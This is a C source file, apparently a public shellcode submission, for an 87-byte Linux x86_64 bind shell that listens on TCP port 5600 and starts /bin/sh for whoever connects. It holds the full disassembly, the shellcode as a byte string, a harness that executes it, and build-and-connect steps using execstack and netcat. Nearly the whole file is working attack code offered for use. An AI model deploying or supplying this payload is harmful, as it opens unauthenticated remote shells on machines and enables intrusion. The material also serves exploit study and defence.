/*
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Linux/x86_64 - Bind 5600 TCP Port - shellcode - 87 bytes
Ajith Kp [ http://fb.com/ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |
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Disassembly of section .text:
0000000000400080 <.text>:
400080: 48 31 c0 xor %rax,%rax
400083: 48 31 d2 xor %rdx,%rdx
400086: 48 31 f6 xor %rsi,%rsi
400089: ff c6 inc %esi
40008b: 6a 29 pushq $0x29
40008d: 58 pop %rax
40008e: 6a 02 pushq $0x2
400090: 5f pop %rdi
400091: 0f 05 syscall
400093: 48 97 xchg %rax,%rdi
400095: 6a 02 pushq $0x2
400097: 66 c7 44 24 02 15 e0 movw $0xe015,0x2(%rsp)
40009e: 54 push %rsp
40009f: 5e pop %rsi
4000a0: 52 push %rdx
4000a1: 6a 31 pushq $0x31
4000a3: 58 pop %rax
4000a4: 6a 10 pushq $0x10
4000a6: 5a pop %rdx
4000a7: 0f 05 syscall
4000a9: 5e pop %rsi
4000aa: 6a 32 pushq $0x32
4000ac: 58 pop %rax
4000ad: 0f 05 syscall
4000af: 6a 2b pushq $0x2b
4000b1: 58 pop %rax
4000b2: 0f 05 syscall
4000b4: 48 97 xchg %rax,%rdi
4000b6: 6a 03 pushq $0x3
4000b8: 5e pop %rsi
4000b9: ff ce dec %esi
4000bb: b0 21 mov $0x21,%al
4000bd: 0f 05 syscall
4000bf: 75 f8 jne 0x4000b9
4000c1: f7 e6 mul %esi
4000c3: 52 push %rdx
4000c4: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
4000cb: 2f 73 68
4000ce: 53 push %rbx
4000cf: 48 8d 3c 24 lea (%rsp),%rdi
4000d3: b0 3b mov $0x3b,%al
4000d5: 0f 05 syscall
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How To Run
$ gcc -o bind_shell bind_shell.c
$ execstack -s bind_shell
$ ./bind_shell
How to Connect
$ nc <HOST IP ADDRESS> 5600
Eg:
$ nc 127.0.0.1 5600
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*/
#include <stdio.h>
char sh[]="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
